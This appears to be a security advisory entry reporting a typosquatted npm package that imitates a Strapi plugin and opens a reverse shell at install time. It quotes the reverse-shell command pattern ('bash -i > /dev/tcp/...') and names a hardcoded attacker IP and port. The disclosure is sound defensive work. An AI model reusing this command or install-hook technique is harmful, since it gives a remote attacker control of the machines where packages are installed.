Details

Source: amazon-inspector (33561abeab9c7a0c81c1b8aac01248b757234008d03e94dfc72817fa3078f17d)

strapi-plugin-sucresh-meeb@3.6.8 declares a postinstall lifecycle hook (node postinstall.js) that runs automatically on npm install. The postinstall script uses child_process.exec to spawn a bash subprocess with an interactive reverse shell (bash -i > /dev/tcp/<host>/<port> 0>&1) connecting to the hardcoded remote endpoint 14.225.210.85:443. This gives the operator of that endpoint interactive shell control on the installing host at install time, with no authentication or user interaction. The package name mimics a Strapi plugin but the shipped code's install-time behavior is unauthenticated remote code execution against the installer.
